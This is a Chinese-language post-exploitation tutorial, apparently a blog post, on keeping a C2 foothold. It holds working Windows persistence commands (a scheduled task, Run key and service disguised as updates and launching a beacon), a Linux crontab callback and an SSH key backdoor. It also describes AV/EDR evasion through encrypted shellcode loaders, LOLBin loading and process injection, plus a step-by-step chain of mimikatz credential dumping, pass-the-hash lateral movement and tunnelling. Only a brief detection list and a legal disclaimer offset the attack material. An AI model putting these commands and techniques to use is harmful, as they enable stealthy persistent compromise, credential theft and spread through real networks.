C2 上线后的持久化与免杀组合实战

C2 上线后的完整组合链:持久化(Windows/Linux)、免杀组合(加密加载器+白名单+进程注入)、抓凭据、横向与隧道,检测与防御。

写在前面:合法学习边界

后渗透与持久化只用于授权环境。对非授权系统植入后门、留持久化可能触犯法律。

一、原理:上线不是结束

C2 拿到一个 session 只是开始,后面要“稳得住、活得久、扩得开”:

1
2
3
持久化:重启/重连后还能回来
免杀:改特征,过杀软与 EDR
抓凭据 → 横向 → 隧道:扩大战果

这是一条组合链,不是单点操作。

二、影响

1
2
3
会话更稳定,不怕杀进程/重启
失陷主机被长期控制
凭据+横向 → 内网沦陷

风险等级:高到严重。

三、持久化(先做)

Windows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
:: 计划任务
schtasks /create /tn "Upd" /tr "C:\tmp\beacon.exe" /sc onstart /ru SYSTEM
:: 解释:开机自启,伪装成更新任务

:: 注册表 Run
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v up /d "C:\tmp\beacon.exe"
:: 解释:用户登录自动运行

:: 服务
sc create "Upd" binPath= "C:\tmp\beacon.exe" start= auto
sc start Upd
:: 解释:注册成服务,伪装系统服务

Linux

1
2
3
4
5
6
# crontab 定时回连
(crontab -l; echo "*/10 * * * * /tmp/x.sh")|crontab -
# 解释:每 10 分钟执行一次
# SSH 公钥后门
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
# 解释:私钥免密登录,隐蔽

四、免杀组合

1. 改 C2 特征

1
2
改 C2 Profile:监听端口、URI、UA、sleep/jitter
解释:默认特征明显,EDR 一抓一个准,必须先改

2. 加密 + 自定义加载器

1
2
# shellcode AES 加密,加载器运行时解密内存执行
# 解释:静态文件无明文 shellcode,过静态杀软

3. 白名单加载 + 进程注入

1
2
3
用 regsvr32/rundll32 等白名单程序加载
注入白进程(explorer)内存运行,不落地文件
解释:过“禁止未知进程”与应用白名单

五、上线后的推进

1
2
3
4
抓凭据:mimikatz sekurlsa::logonpasswords
横向:PtH + psexec/wmiexec
隧道:Socks/SSH 隧道打通内网
配合权限维持(WMI 事件/系统服务)做多层持久化

六、完整组合操作步骤

1
2
3
4
5
6
第 1 步:生成 beacon/shellcode,AES 加密
第 2 步:自定义加载器 + 白名单程序投递
第 3 步:确认上线,改 C2 特征(profile/端口/sleep)
第 4 步:做持久化(计划任务/服务/注册表/crontab/SSH key)
第 5 步:抓凭据,横向,开隧道
第 6 步:验证重启/杀进程后能自动恢复

七、检测与防御(对立面)

1
2
3
4
EDR:进程注入、敏感 API、回连、计划任务/服务异常
持久化排查:计划任务、启动项、注册表、服务、crontab
内存扫描 + 应用白名单
异常 SSH 公钥、authorized_keys 检查

八、小结

C2 上线后的组合链 = “免杀上线 → 持久化 → 抓凭据 → 横向 → 隧道”。免杀保证“进得来”,持久化保证“活得久”,凭据与隧道保证“扩得开”。防守端要同时抓行为免杀特征、持久化痕迹、异常外联再次强调:仅授权内研究使用。